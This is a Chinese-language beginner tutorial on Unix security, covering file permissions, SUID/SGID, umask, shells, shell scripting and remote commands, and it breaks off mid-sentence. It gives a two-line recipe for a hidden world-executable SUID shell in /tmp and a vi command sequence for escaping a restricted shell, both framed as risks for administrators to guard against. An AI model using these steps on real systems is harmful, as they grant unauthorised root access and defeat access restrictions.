xtptyd X terminal pty daemon program
ypinit build and install Network Information Service data
ypmake create or rebuild Network Information Service data
yppasswdd daemon for modifying Network Information Service
yppoll query NIS server for information about NIS map
yppush force propagation of Network Information Service
ypserv, ypbind Network Information Service server and
ypset bind to particular Network Information Service

Unix system security
一篇关于UNIX的安全教程

前言

前一段很多朋友让我写一篇关于UNIX的安全教程,当时想想应该不难,于是便一口答应了,可到真正写
起来才知道这可不是件容易的事情。UNIX安全涉及的范围很大,这篇文章虽然足有四万字之长,可也只
是一个入门介绍而已。这篇文章适合于刚刚接触UNIX的初学者及网管,高手看了请别笑我,毕竟我也是
个菜鸟。文章中很多UNIX安全经典文献的片段,也借鉴了很多国内相关书籍,如果您认为这篇文章侵犯
了您的版权,请联系我,我会尽快做出更正。最后谢谢那些帮助我完成此文的大侠们,也在此向那些为
中国电脑安全事业做出贡献的无名英雄致敬。


介绍

首先我来简单的介绍一下UNIX的历史,如果你对此不感兴趣的话可以跳过。1960年,美国贝尔实验室参
与了一项具有挑战性的科目:创造一个功能强大的新型操作系统,它的名字叫Multics(多元信息及计算
系统)。1969年贝尔实验室从Multics的计划中撤出。但这个创意并未因为贝尔实验室的撤出而冷却下
来,Multics依然在各大学内被大家广泛着讨论着。之后,由一个名为Ken Thompson的AT&T工作人员使
用汇编在Multics计划的基础上继续开发一个多用户环境的操作系统,这便是UNIX的诞生。1973年,
Dennis Ritchie用C语言编写了一个名为LJNIX的可携带操作系统。

UNIX操作成为了至尽为止大部分大型的工作主机使用的操作平台,而它的使用者现在仍在增长之中。
UNIX最值得注意的优点在于它在硬件平台中的可携带性,和它交互式的编程环境。

从1969年它诞生之时,Ken Thompson的LNIX经历了许多革新,但它们主要分裂成了两个主要的UNIX版
本:AT&T系统和BSD(Berkeley Software Distribution)。

现在你可以见到有许多版本的UNIX,它们包括:Cpix, Genix, ldris, PC-IX, Perpos, Solaris,
Ultrix, Venix, XENIX等等.

尽管UNIX现在被全世界广泛的应用,而且普遍的用于政府部门和教学部门等包含一些敏感信息的场所。
但当初创造它时,它的作者们并没有考虑到太多的安全问题。不过这个并不表示UNIX没有任何的安全措
施。

当时Ken Thompson的目的是创造一个更公共的环境来帮助编程人员,没有任何秘密。当程序员工作于
一个项目时,他们喜欢共享他们的成果及信息,这将帮助他们解决一些难题,并且提高工作量。第一个
安装UNIX的放(除了他们自己的实验室里的电脑)是一些教育组织,这些组织和那些相似的组织并不需
要非常良好的安全系统,此外这样还可以使他们更轻松的传输信息。

之后的几年里,UNIX不再局限的使用于教育组织,而成为了一个全球性的操作系统。它被广泛的使用与
政府及商业部门里,从而之前那些教育组织中公开的环境不再存在了。

在这个部分里,我会介绍一些更基础的Unix可能存在的一些安全问题。我将讨论一些类似文件保护、密
码安全、网络和信任地址的概念等的普遍的UNIX系统存在安全问题的范围。作者所使用的操作系统包括
Solaris 2.3, SunOS 4.1.3 和 与UNIX有些不同的OSF/I,因此下面的课程将要涉及到这些系统,准
备好了吗?我们开始了哦~。


十大UNIX安全问题

1. 密码问题:现在国内UNIX主机被入侵最大的一个原因之一,简单的密码导致入侵者
轻 而一举的入侵进系统中。

2. 拒绝服务:最让安全专家头疼的问题,这个最近风靡一时的攻击手段使得即使yahoo、CNN
这种超级大站拿它没办法。

3. 配置不当:包括限权、数据库、服务程序等软件的配制不当造成的入侵,管理员的一个疏
忽往往使黑客拥有一个可乘之机。

4. 不安全脚本程序:包括CGI、ASP、PHP等网络应用脚本程序存在的漏洞。

5. 操作系统安全漏洞:没有一个东西是完美的,操作系统本身也是一样,如果管理员不及时
打补丁的话就让入侵者钻了空子。

6. 邮件系统:Sendmail漏洞,黑客的至爱。

7. RPC:rpc.cmsd、rpc-statd、Mountd等老漏洞,但可悲的是国内很多网管都没有及时的
修补他们。

8. 域名服务器:包括BIND等域名服务器存在的安全问题。

9. 溢出漏洞:程序员的疏忽造成的漏洞,现在很流行的手段。

10. 其它问题:还有很多其它的安全问题,


文件系统

UNIX中的文件系统可以分为三种种类:目录(directories),普通的文件和一些特殊的文件(见下
表),系统文件以树型展开。下面是一些UNIX中重要的文件

"/"是一个根目录(root directory)的缩写。它是UNIX中最高的目录,所有其它的目录都被它包含。
它是最高层的目录,它也拥有所有低层的目录。这也是为什么根用户(root account)的限权非常是非
常强大的。



/ <----------------Root level





-------------------------------------------------------------------------------------
---------------------------------

│ │ │ │ │ │ │

/apps /etc /dev /mail /tmp /usr /var

│ │

│ /var/adm

-----------

│ │

/usr/bin /usr/lib


UNIX文件系统模型




一些有关安全的UNIX系统文件简介

/apps
大多数系统中,这个目录包含了用户的应用软件。

/etc
这个目录中包含了一些非常重要的系统文件,它们一般对于其它用户可读,但不可写。下面是这些包
含在此目录中的子目录的描述。

/etc/exports
它列出了所有输出的文件(NFS)。

/etc/group
定义系统里的组。.

/etc/hosts
用于映射本地的主机名和IP地址。

/etc/hosts.deny
所有禁止访问本机的地址的名单。

/etc/hosts.equiv
系统中信赖主机的文件。

/etc/inetd.conf
网络"超级主机"的配置文件。

/etc/motd
系统的公告文件。

/etc/passwd
密码文件,请见 UNIX密码文件。

/etc/protocols
网络协议的清单。

/etc/sendmail.cf
sendmail daemon的配置文件。

/etc/services
这个文件列出了主机提供的所有的服务。

/etc/shadow
经过shadowed的数据。

/etc/security/passwd.adjunct
一些SunOS中经过shadowed的数据。

/etc/syslog.conf
控制登陆信息的地方。

/etc/syslog.pid
处理系统日志的ID。

/etc/ttys
Active终端文件。

/etc/ttysrch
终端表格文件,用来指明安全的终端。

/dev
这个文件夹包括了一些需要保护的重要系统驱动设备,包括了类似控制台和另外一些TTY的字符文件。
如果系统驱动受不到适当的保护,那么他们将成为黑客的目标。我们下面所讲的都适用于一个良好的驱
动安全机制。


文件/dev/mem, /dev/kmem 和 /dev/drum 应该设置为外界不可读。如果你设置为外界可读,一个恶
意用户可以修改他/她自己的UID和增加自己的限权。如果你的系统没有这些问题,那这些文件应该被
root控制,并且记住将这些文件的属性设为600。

除了一小部分特殊的以外,Root应该控制其它大部分的驱动设备。其中一个例外就是终端,终端可以被
所有登陆在上面的用户控制。

/mail
保存root的信件。

/tmp
用来储存临时文件的目录,这里经常是黑客存放木马及SUID Shell的地方。

/usr
这个目录包含了一些重要的系统目录,同时在一些系统中它也被用于储存用户的主目录。(这也是它
名字的来源).

/usr/bin
这个目录是一些系统用来存放可执行程序的地方。

/usr/lib
高级程序语言库文件的存放目录。

/var
这个目录存放了一些有用的系统文件,包括一些我们将感兴趣的文件。

/adm
用来储存各种管理员文件。

/var/adm/acct
每个用户的可执行命令被存放在这里,并且被accton命令调用,但输出的的日志文件用户是可以自定
义的。

/var/adm/lastlog
用户最后一次登陆的记录都存放在这里。

/var/adm/messages
储存系统日志和一些重要的系统信息。可以从这里找到一些登陆失败的日志来鉴定是否有人试图穷举
登陆。

/var/adm/pacct
进程文件,用于ps。

/var/adm/sulog
这是SU的日志文件。

/var/adm/utmp
系统将在线用户写入这个文件中,这个文件被who命令调用。

/var/adm/wtmpx
被last命令调用,并且包含了系统中每个用户登陆和登出的日志。



目录系统

在UNIX操作系统中,文件和目录是以一个树型状态展开的。每个文件在多用户操作系统上必须有一个拥
有者,而这个拥有者一般为创造这个文件的用户。这个文件的拥有者和目录拥有穿过这个文件的保护模
式的访问权。这个模式的设置通过限权位- (permission bits)(8进制),这便是UNIX基础的文件系统
安全(类似其它的电脑系统)。限权位确认用户怎么才能访问文件和允许它们做什么样的访问。所有的
UNIX系统文件和目录都有三种用户访问模式:拥有者,组,和其他。每个文件的可读、可写、可执行限
权也是由限权位所控制的。

目录保护是UNIX中文件安全的一个重要的组成部分。很多系统管理员和用户并不注意(或者根本就不关
心)这个事实:“可写目录通常是UNIX系统中最容易引起安全问题的地方。”管理员往往打开限权让用
户在系统里乱转并且访问一些公共的文件,这些限权往往会向黑客大开大门。

根据我们以上所讲的,除了系统管理员目录以外,应该禁止其它目录可写和可读的限权。




限权位(permission bits)

文件前的第一个符号代表了文件的类型。见下表:

符号
描述
解释

-
Regular File
普通文件,这个文件包含了数据或其自身是可执行的。

d
Directory
目录文件,一些普通文件的集合。

b
Block device
储存块,这种文件允许访问block devices,例如:磁盘驱动。

c
Character device
字符设备,这些文件允许访问character devices,例如:终端

I
Link symbolically
符号连接,这个文件可以指示其他文件是否可以通过其它文件名访问。

p
Named pipe
先入先出管道,这个文件用来在两个进程中传递信息。



在上表的状态下,限权位允许控制文件,允许一个用户指定是否可读、可写或可执行一个文件。如果你
有可执行限权,那么你便可以直接在提示符下输入该程序的名字,然后系统将会执行它。如果你有可读
限权,那么你可以明显的读取这个文件,或者执行任何读取此文件信息的命令的命令,例如copy、cat
等。而当你拥有可写限权时,你可以对其文件输入信息。

以下便是这些用于分配这些属性的符号:

限权模型


OWNER(拥有者) GROUP(组) OTHERS(其它)

--------------------------------------------------------------------

rwx : rwx : rwx

--------------------------------------------------------------------

r=read(可读) w=write(可写) x=execute(可执行) a=SUID或SGID

t=Sticky(粘贴)


-rw-rw-rw- 1 im other 2236 Aug 2 16:51 shadpass.c

drwx ------ 2 im other 512 Aug 2 17:02 bin


在上面表格中可以看出,shadpass.c的属性显示了它的拥有者拥有可读限权及可写限权,这个组有可读
和可写限权,而其它人同样拥有可读和可写限权。bin这个目录可以说是一个安全的目录,除了其拥有
者以外,组和其它用户对它没有可读,可写和可执行的限权。


设置UID

用户标识(UID)是一个取值于0~65535之间的数字。UNIX通过/etc/passwd文件来实现用户名与UID之间
的映射关系。在UNIX系统中,用户名其实只是一个为了方便用户而设计的符号,而着正用于系统识别用
户信息的则是UID。当系统中存在两个相同UID的用户,系统将把他们视为同一个用户,即使用他们具有
不同的用户名和口令,它们仍然可以自由地读取和删除对方的文件,甚至取消对方的进程。以下是一些
系统中默认的“系统用户”

root
即超级用户(superuser),它执行记帐和低级系统功能。

daemon或sys
它处理一些网络方面的事情。在某些UNIX版本上这个用户名也与其他的公用系统,如打印卷筒
(print spooler)有关。

agent
它处理电子邮件方面的事情。在很多系统中,agent具有和daemon相同的UID。

guest
它被用于网站访问者对系统的访问。

ftp
它被用于处理不记名FTP存取。在FTP系统中,它的UID和anonymous相同。

UUCP
它管理UUCP(Unix到Unix的拷贝)系统。

news
它被用于用户网络新闻(Usenet news)

Ip
它被用于管理打印机系统。

nobody
一个不拥有任何文件的用户,井有时被用作无特权操作的缺省用户。




当一种程序可以以拥有者的UID限权运行时,这个程序被称为SUID程序(SUID)。管理员在自己的系统
里的疏忽往往会造成简单的SUID

攻击:

% cp /bin/csh /tmp/.text

% chmod 4777 /tmp/.text

上面的的命令将创建一个拥有SUID 位设置的shell。任意一个恶意用户都可以通过它拥有管理员限权。


设置GID

GID几乎和UID相同,只是它代表的是用户组:每个UNIX用户都属于一个或多个用户组。同用户标识一
样,用户组也有组名和标识(GID)。GID同UID一样,为16位的整数。文件的GID允许它改变组的号码
(SGID),SGID类似于SUID,不过它对于不可执行的文件没有任何意义。

编写安全的SUID/SGID程序

每个程序的存在都有他们的原因,SUID和SGID的存在就是因为许多文件是需要以root限权来运行,我
们不可能给他们这样的限权,所以SUID和SGID就诞生了。但是它们这种特殊的属性很容易造成许多安全
问题,所以在你编写类似的程序时需要注意以下一些问题:


1. 禁止SUID/SGID访问一些敏感的文件。

2. 禁止SUID/SGID使用通用接口配备程序。

3. 在SUID/SGID中尽量只使用execve()、execv()、execl()调用进程。

4. 避免调用execlp()和execvp(),因为它们是使用PATH变量查找可执行文件的。(见PATH变量)

5. 尽量使用setuid()和setgid()函数将需要将需要超级用户特权的代码部分括起来。

6. 如果你的SUID/SGID程序必须提供一个外壳转换码,在执行用户命令前检查setuid()/getuid()
和setgid()/getgid()函数。

7. 尽量静态连接你的程序。

8. 使用chroot()函数。

粘贴位(sticky bit)

这个是一个从老版本UNIX流传过来的东西,现在只有一小部分版本的UNIX还在使用它。以后的UNIX版
本赋予粘贴位(sticky bit)新的定义。如果这个bit设置在目录上,那其它的用户将不能删除或重署
名这个目录中的文件。这个东西在设置类似/tmp或匿名FTP的incoming目录起到了明显的作用。同样,
你可以用它来防止其它而已用户删除一些重要的系统文件,例如防止黑客在入侵之后删除登陆日志等。


经管UNIX有这些看似坚不可摧的访问管理系统,但其实它仍然存在许多缺点。现在root(系统管理员帐
号)仍然经常留下一些可读的文件或其他有设置SUID的文件在系统中。从一些管理员设置失误,或者通
过一些漏洞的exploite,一个可执行文件可能将一些普通用户变成超级用户(将SUID设为0)。当他们
拿到root限权时,用一点点时间便可以完全的危急到系统的安全,甚至其它超级用户都无法阻止他们。


八进制限权位

你可以通过增加一些你想给予目录或文件的限权的代码数来确认一个限权模式。下面是一些用于分配限
权的八进制函数:

限权
八进制函数

设置用户标识 (SUID)限权
4000

设置组标识(SGID)限权
2000

设置粘贴位(sticky bit)
1000




授予拥有者可读限权(READ)
400

授予拥有者可写限权(WRITE)
200

授予拥有者可执行限权(EXECUTE)
100




授予组可读限权(READ)
40

授予组可写限权(WRITE)
20

授予组可执行限权(EXECUTE)
10




授予其它人可读限权(READ)
4

授予其它人可写限权(WRITE)
2

授予其它人可执行限权(EXECUTE)
1


从人们意识到文件保护是UNIX操作系统中非常重要的一个环节以来,他们知道了正确的设置文件限权是
必要的安全手段。很多管理员都是使用着系统默认的配置,这是非常不安全的。一些系统里的默认八进
制限权函数是644,这就意味着拥有人可读可写,而其它所有的人都可读。


不管怎么样,一些存放敏感信息的地方其他人的可读限权应该关掉。实际上,UMASK函数可以满足这个
要求,UMASK可以设置用户文件及目录中文件创建的缺省屏蔽值。

Chmod

Chmod命令可以改变一个文件的拥有者和它的限权,一般情况下,只有文件的拥有者才可以修改该文件
的限权,当然,root是个例外。它的命令格式如下:


chmod [Rfh] [agou] [+ - =] [rwxXstugol] 文件名


这些函数的意思是:

a 修改全部用户的限权

g 修改该组的限权

o 修改其它人的限权

u 修改拥有者的限权


+ 加到当前限权

- 从当前限权中减去限权

= 替换当前限权




UMASK(用户掩码)

当一个操作系统中创造了一个文件(不管它是二进制文件还是文本文件),它是以默认限权位设置的。
默认限权是可以被任何组或其他人控制,他们对默认限权拥有拥有可读和可写限权。UMASK(用户掩
码)的名字是起源于chmod(chmod是用于指定某个文件可以拥有的限权,而UMASK是用于指定某些限权
是不允许的)。


当将UMASK放入一个用户的.profile, .cshrc或 .login文件,它将会重写创建文件的默认限权,但在
此情况下chmod依然可以用于设置文件或目录的限权。


一般的系统默认限权是022,这意味着任何组或其它人对刚创建的文件没有可写限权。但这并不意味着
此文件或目录就是安全的,如果是我的话,我将它们的限权设置为任何人或组都对此文件不可读、不可
写和不可执行。那么你便可以将UMASK设置为077。UMASK是以以下的方法计算的:


我们知道基本的文件创造模式是0666,并且基本的目录创建模式是0777。那么UMASK的数值便是077
(对于文件),我们需要看看哪个限权我们不想分配。在这个例子中,组和其它人都拥有读、写和执行
的限权,在上面的八进制限权位的表格中可以看出是:40+20+10+4+2+1=077。




Shells

Shells是一种用于帮助完成复杂的任务的人机界面,它是将我们的命令传输并解释给计算机的一种程序
或一种环境。他们并不是操作系统,而是在用户及计算机之间。一个Shell等待你输出一个命令,并且
执行它。Shells有两种类型。第一种称为Bourne shell(取自一人名),它是UNIX系统最早的Shell
类型,开发于贝尔实验室。至今为止,它仍然是大多数版本的UNIX操作系统的标准Shell。所谓标准
Shell(standard shell)的意思是指当一个使用者在没有指定要使用何种shell 的情况下,操作系统
会自动帮你设定的shell。Bourne Shell包含了sh, ksh, bash和zsh.还有另外一种名为restricted
shell(rsh)的Bourne shell(这可不是远程调用shell的rsh命令)。这种shell防止一个用户从外部执
行一个指明搜索路径的命令,改变目录和改变shell的变量,它被系统管理员用于限制一个系统中的用
户。第二种shell是C shell,它包括csh和tcsh。C Shell起源于美国加州州立大学柏克莱分校,由于
这个 shell 的语法与C语言(C Language)极相似而得此名。


其实还有包括的shell,包括一些其它程序员写的自制shell,或者一些特殊unix上独有的shell。不过
他们都不是标准的。记住,shell只是一个用来解释命令的程序。“Eskimo North”上就有一个自制
shell的例子,其系统上有一个称为"Esh"的shell,其实那只不过是一个类似于“一指通”的BBS。不
过它仍然是一个shell。


你可以查看你的UNIX是否有一个"$"提示符来判断你使用的是哪种shell。如果你的系统没有"$"提示
符,那么你用是Boume shell。相对的,如果你的UNIX系统显示了一个"%"提示符,那么你使用的便是
C shell。Shell同时用于不同的的隐藏文件或"."文件。在C Shell中它们是.cshrc (启动)、.login
(在你登陆时执行)、Iogout(这个是在你登出时执行)和.history (记录对话中使用的命令,如果你
想看其它用户使用了什么命令,这个东西可是很有用的。)


为了操作的方便,并且给给那些技术不熟练的管理员减少些麻烦,很多公司都在使用用户以shell形式
运行的文字处理器、数据库和其它一些东西。不幸的是,这些二手程序构成了主要的UNIX漏洞。除了这
些以外别忘了我们上面提到的,小心SUID Shell。


Shell编程

Shell编程是网络管理员需要掌握的一项Unix下重要的编程语言,由于篇幅限制,我们在这篇文章里只
会简单的介绍一下Bourne Shell的语法。Shell编程是基础的为标准Shell制作的脚本文件。它象一个
MSDOS批处理文件,但更复杂,更具有灵活性。


首先,我们进入变量。变量可以明显的分配数值。这些变量可以是string值,或者numberic值。

number=1


这个将把值1分配给变量"number"。


string=Hi There



string="Hi There"


这两个语句都会将"Hi there"分配给一个变量。


使用变量将有点不同。当你希望去使用一个变量,你必须在他前面加一个$标志。我说过这个
脚本象一个批处理文件,你可以在这个脚本里输入任何一个程序的名字,然后它将执行那个程序。这里
是个示例脚本:


counter=1

arg1="-uf"

arg2="scythian"


ps $arg1 $arg2


echo $counter


这个脚本会将解释为"ps -uf scythian"然后当它执行完毕以后会打印出一个"1"。ECHO会在
屏幕上打印一些东西,它们会是一些numeric或string常数。


.

另一个命令/例子:

read – 用于读取一些变量。格式:read 变量。这里不需要$标志! 如果我想得到某些名字,我可以
输入:



echo "What is your name?"

read hisname

echo Hello $hisname


运行结果:

What is your name?

Sir Hackalot

Hello Sir Hackalot


记住,read也可以读取numeric值。


trap – 这个可以记录某人使用中断字节(Ctrl-c)

格式: trap "command ; command ; command ; etc.."

例子:

trap "echo 'Noway!! You are not getting rid o me that easy' ; echo

'You gotta see this through!'"


现在你要是在运行这个脚本时按下了control-c就会显示下面的信息:

Noway!! You are not getting rid of me that easy

You gotta see this through!


exit : 格式 :exit [num] ,shell退出将返回一个整形量。


case


Case执行以后会象一个可选菜单.这个命令或结构体的格式为:

case变量在:

1) command;

command;;

2) command;

command;

command;;

*) command;;

esac

每一个部分可以有任意数量的命令。但最后一个命令必须有";;",看看这个菜单:


echo "Please Choose:"

echo "(D)irectory (L)ogoff (S)hell"

read choice

case $choice in


D) echo "Doing Directory...";

ls -al ;;

L) echo Bye;

kill -1 0;;

S) exit;;

*) Echo "Error! Not a command";;

esac


esac标记标志着这个case程式的结束,它必须是在最后一个命令后面。


Loops



有两种loop程式,循环函数(loops)和重复(repeat)函数。


重复函数(repeat)看起来是象这样的: repeat something somethin1 somethin2

这个将重复你选择的每个"something"中的脚本文件。

如果我这样做:

repeat scythian sirhack prophet


那我会在我的屏幕上看见 "scythian" 然后sirhack然后prophet。


Loop是以"for variable in something

do

..

..

done"定义的。


一个例子:

for counter in 1 2 3

do

echo $counter

done


这个脚本将打印出1然后2最后3。


使用TEST


格式: Test 变量 选项 变量


这些选项为:

-eq =

-ne <> (不等于)

-gt >

-lt <

-ge >=

-le <=


对strings则是: =为等于 !=为不等于

如果条件是true,它将返回一个0:


test 3 -eq 3


这个将是:test 3 = 3,然后返回一个0。


EXPR


这个是为numeric程式设计的。你不能简单的输入 echo 4 + 5

然后得到答案。 你需要输入:

expr 变量 [或数字] 操作 变量2 [或数字]

操作选项为:


+ 加

- 减

* 乘

/ 除

^ - 能量 (用于部分系统)


例如 : expr 4 + 5

var = expr 4 + 5

9将赐予ver。


在一些系统上, expr有时会打印出一个程式。我的意思是22+12和

22 + 12是不同的. 如果你输入expr 22+12,你将看到:

22+12

但如果你输入expr 22 + 12你会得到:

34




系统变量


shell会使用到一些变量,而且它们一般是设置在系统文件.profile中。


HOME – 你主目录存放的位置。

PS1 - 你所使用的提示符,一般是$,但在BSD系统中则一般为&。

PATH – 这个是程序的查询路径。当你在程序中输入的话它便会运行,但它不是在内存中的; 它必须是
从磁盘中载出。大多数象MSDOS的命令解释器都不是在内存中的。如果一个程序是在查询路径中,它可
能在任何地方都可以执行。如果不是,你必须是在这个程序所在的目录中执行它。一个路径是是设置在
目录基础上的,个别的是设置在":"的基础上。这里是一个典型的查询路径:


:/bin:/etc:/usr/lbin:$HOME:


当你尝试去执行这个程序,Unix将在/bin,/etc, /usr/lbin,和你的主目录中去查找它,但如果系统无
法在这些目录中找到它,那就会出现一个错误。系统是以路径顺序进行搜索,所以如果你的主目录中有
一个程序名为"sh",你输入"sh"去执行它,就算你现在就在你的主目录里,它还是会执行那个在/bin
目录中的sh,所以你必须小心的设置你的路径。公用访问的UNIX会帮你设置这些,但有些系统中你恐怕
会遇到没有路径设置的情况。


TERM – 这个是你的终端类型。UNIX有一个名为"CURSES"的函数库,它可以判断每个终端的优势。倘
若找到了escape代码,你必须将你的term设置一下。 TERM 环境变量在运行时选择正确的行为 ,靠命
名一个 termcap 栏位是被应用程序所使用. 在数据库内部,每一个终端机的能力显示当一个两位代码
和一个实际的escape顺序的表示被使用来取得想要的效果.


受限制的Shells

大家应该知道在V系统中有一个被限制的shell/bin/rsh。之后,一些系统上出现了一些以它为基础的
shell,不过这些新的shell增加了更多的安全性。它们尝试去限制用户可用的命令,这样便可以防止一
些用户从搜索路径之外的地方执行命令(不同的环境变量同样受到限制)。不过不幸的是,在很多系统
上可以很容易的突破这种shell的限制。


例如我们可以利用 vi (UNIX中标准的编辑器) 的一些命令来达到这个目的。具体过程如下:

(1).在定制Shell中选择编辑文件,这时系统启动 vi。

(2).在 vi 中,输入以下命令序列:(注意:输入的命令包括最前面的 ':' )

:set shell=/bin/csh

:shell


这个将把这个受限制的shell变成Boume shell。我建议改变用户proflle文件的限权,以防止用户修改
它。








一些有用的命令

STTY

显示并设置你当前的终端类型。显示你现在的终端类型:

"stty".

stty echo
系统将你输入回复给你。

stty noecho
系统不回复你的输入。

stty intr "arg"
改变你的中断字节(默认中断字节为CTRL-C)。

stty erase \^?
定义退格键。

stty kill \^U
定义kill字节(CTRL-U)。





PS

列出系统中正在进行的进程, 超级用户或进程的拥有者可以通过kill命令杀死进程。另外,"who-u"命
令可以侦知登录到系统的用户是从哪里来的,从此可以看出这个命令对安全防护是非常有作用的。-a参
数,将列出除了组的管理人和没有连在终端上以外的所有进程(但也不是系统上全部的进程,如果你想
显示全部进程的话需要使用-e),-1参数将会显示一个长列表:

% ps -al

F S UID PID PPID C PRI NI ADDR SZ WCHAN TTY
TIME COMD

8 S 463 1438 1419 80 40 20 fcbfd000 426 f017997c
pts/1 0:24 tf

8 T 463 3462 2410 13 40 20 fcea8000 142
pts/4 0:00 iostat

8 Z 190 3485 1763 22
0 0:00

8 S 469 3430 2064 80 40 20 fce65000 274 f017997c
pts/6 0:02 telnet

8 T 469 3404 3400 7 40 20 fcd8c800 142
pts/2 0:00 iostat

8 T 469 3403 3400 12 40 20 fce62000 299
pts/2 0:00 ping

8 T 463 2413 2410 8 40 20 fc6a4000 142
pts/4 0:00 iostat

8 O 1281 3782 3708 11 45 20 fceb3800 153
pts/7 0:00 ps

8 S 469 2052 2049 80 59 20 fccdd000 307 fcd6a846
pts/5 0:00 welcome

8 S 469 3450 3400 7 50 20 fc3cd800 154 fcdacf46
pts/2 0:00 write


从上面我们可以看出, PID也就是进程标识符(值为1-30,000), the TTY一栏列出了所有终端设备的初
始进程, UID告诉了我们谁拥有这个进程,而COMD 则是显示了这个进程是使用的哪个命令。


"PS-ef"命令可以显示系统的每一个进程。为了限定某一信息来寻找,可以使用"PS-ef│grep[uid]"或
任一字符串使用,例如:"PS-ef│grep ksh"可以显示所有运行Korn shell的用户。PS命令可以让我们
看到登录的用户名,父进程标识,子进程标识,进程开始的时间,用户正在访问的设备文件,使用了多
少CPU时间,及进程的描述。你同时可以通过使用使用ps -u <用户>命令列出其它一个用户的进程,而
且我们可以杀掉一个进程:


% kill -9 2052 3450


我们这里使用它们各自的PIDS杀掉了起码个进程。


LS

这个命令列出了目录中所有的文件。它在查看一些系统中的文件问题时很有用处,很好的实用例子就是
通过查看不同的系统目录中是否存在木马。


UNIX系统中有一些隐藏文件,他们一般有一个"."的前缀,例如.login,正常的Is命令不会列出这些文
件,如果你想显示这些隐藏文件需要使用-a的参数:

% ls -a

Is –al这个命令将使用长格式列出整个目录中的所有文件:


% la -al

total 58

drvxrvxr-x 4 im sysadm 512 Aug 26 16:29 .

drwxrwsr-x 360 root sysadm 1075 Aug 22 11:36 ..

-rw------- 1 im other 0 Jul 18 15:39 Xauthority

-rwxrwxr-x 1 im Sys 122 Feb 24 1994 cshre

-rw-r--r-- 1 im Sys 757 Aug 4 17:03 history

-rvxrvxr-x 1 im Sys 179 Mar 25 15:03 login

-rw ------- 1 im other 37 Aug 2 17:23 logout

-rw-r--r-- 1 im Sys 0 Jul 27 16:39 news-time

-rw-r ----- 1 im Sys 95 Feb 25 1994 plan

-rw-rw-r-- 1 im Sys 237 Feb 24 1994 profile

-rw-r----- 1 im Sys 111 Feb 25 1994 project

-rw ------- 1 im other 13 Aug 2 16:49 rhosts

-rw ------- 1 root Sys 232 Feb 24 1994 oh-history

-rw ------- 1 im other 37 Aug 2 15:53 sig

-rw ------- 1 im other 542 Jul 18 15:39 xsess-errors

drwx ------ 2 im other 512 Aug 2 17:02 bin

drwxr-x--- 2 im Sys 512 Jul 25 16:19 mail

-rw-rw-rw- 1 im other 2236 Aug 2 16:51 shadpass-c

-rvxrvxr-x 1 im Sys 580 Feb 24 1994 xsession.old



小心一些名字类似"..[TAB]"的文件,"..."这种东西可能是一些包含木马或后门的隐藏目
录。".."和"."文件是正常的,它们是用来返回上层目录用的。

上面这些字段的意思是(从做到右):

限权位,连接,用户名,组文件所属,所使字节,创建时间,最后一次更新和这个文件或目录的名字。


SU
如果你是是个其它用户,在没有任何参数的条件下,这个命令将创造一个超级用户shell。这个与使用
超级用户的密码进入它们的帐号是不一样的,你还是需要你想su的用户的密码(你可以用"-"切换到调
用su的用户界面中)。除非你已经是root了,如果是这样的话,你可以su任何帐号而不需要他们的密
码。


#whoami

unusefulguy

#su root

password:

$whoami

root

$


使用这个命令的话,会被记录在/var/adm/sulog中,所以网管需要常常的检查一下这个文件。以上例
为例,在/var/adm/sulog中上面的动作会被记录成以下格式:

SU 03/24/01 12:00 + tty 10 unusefulguy-root

它可以被解读为:03/24/01日12:00时用户unusefulguy将自己su为了root。



RSH
rsh是“remote shell”(远程 shell)的缩写。 该命令在指定的远程主机上启动一个shell并执行
用户在rsh命令行中指定的命令。如果用户没有给出要执行的命令,rsh就用rlogin命令使用户登录到
远程机上。

rsh命令的一般格式是:

rsh [-Kdnx] [-k realm] [-l username] host [command]

一般常用的格式是:

rsh host [command ]

command可以是从shell提示符下键人的任何Linux命令。

rsh命令中各选项的含义如下:

-K 关闭所有的Kerbero确认。该选项只在与使用Kerbero确认的主机连接时才使用。

-d 打开与远程主机进行通信的TCP sockets的socket调试。要了解更多的信息,请查阅setsockopt的
联机帮助。

-k 请求rsh获得在指定区域内的远程主机的Kerberos许可,而不是获得由krb_relmofhost(3)确定
的远程主机区域内的远程主机的Kerbe确认,与在rlogin命令中一样。

-n 重定向来自特殊设备/dev/null的输入。

-x 为传送的所有数据打开DES加密。这会影响响应时间和CPU利用率,但是可以提高安全性。  
Linux把标准输入放入rsh命令中,并把它拷贝到要远程执行的命令的标准输入中。它把远程命令的标准
输出拷贝到rsh的标准输出中。它还把远程标准错误拷贝到本地标准错误文件中。任何退出、中止和中
断信号都被送到远程命令中。当远程命令终止了,rsh也就终止了。



rlogin


rlogin 是“remote login”(远程登录)的缩写。该命令与telnet命令很相似,允许用户启动远程系
统上的交互命令会话。rlogin 的一般格式是:
rlogin [ -8EKLdx ] [ -e char ] [-k realm ] [ - l username ] host

一般最常用的格式是: rlogin host 该命令中各选项的含义为:
-8 此选项始终允许8位输入数据通道。该选项允许发送格式化的ANSI字符和其他的特殊代码。如果不用
这个选项,除非远端的终止和启动字符不是或,否则就去掉奇偶校验位。
-E 停止把任何字符当作转义字符。当和-8选项一起使用时,它提供一个完全的透明连接。
-K 关闭所有的Kerberos确认。只有与使用Kerberos 确认协议的主机连接时才使用这个选项。
-L 允许rlogin会话在litout模式中运行。要了解更多信息,请查阅tty联机帮助。
-d 打开与远程主机进行通信的TCP sockets的socket调试。要了解更多信息,请查阅setsockopt的联
机帮助。
-e 为rlogin会话设置转义字符,默认的转义字符是“~”,用户可以指定一个文字字符或一个\\nnn形
式的八进制数。
-k 请求rlogin获得在指定区域内的远程主机的Kerberos许可,而不是获得由krb_realmofhost(3)
确定的远程主机区域内的远程主机的Kerberos 许可。
-x 为所有通过rlogin会话传送的数据打开DES加密。这会影响响应时间和CPU利用率,但是可以提高安
全性。



Rcp

rcp代表“remote file copy”(远程文件拷贝)。该命令用于在计算机之间拷贝文件。
rcp命令有两种格式。第一种格式用于文件到文件的拷贝;第二种格式用于把文件或目录拷贝到另一个
目录中。
rcp命令的一般格式是:
rcp [-px] [-k realm] file1 file2 rcp [-px] [-r] [-k realm] file
directory 每个文件或目录参数既可以是远程文件名也可以是本地文件名。远程文件名具有如下形式:
rname@rhost:path,其中rname是远程用户名,rhost是远程计算机名,path是这个文件的路径。
rcp命令的各选项含义如下:
-r 递归地把源目录中的所有内容拷贝到目的目录中。要使用这个选项,目的必须是一个目录。
-p 试图保留源文件的修改时间和模式,忽略umask。
-k 请求rcp获得在指定区域内的远程主机的Kerberos 许可,而不是获得由krb_relmofhost(3)确定
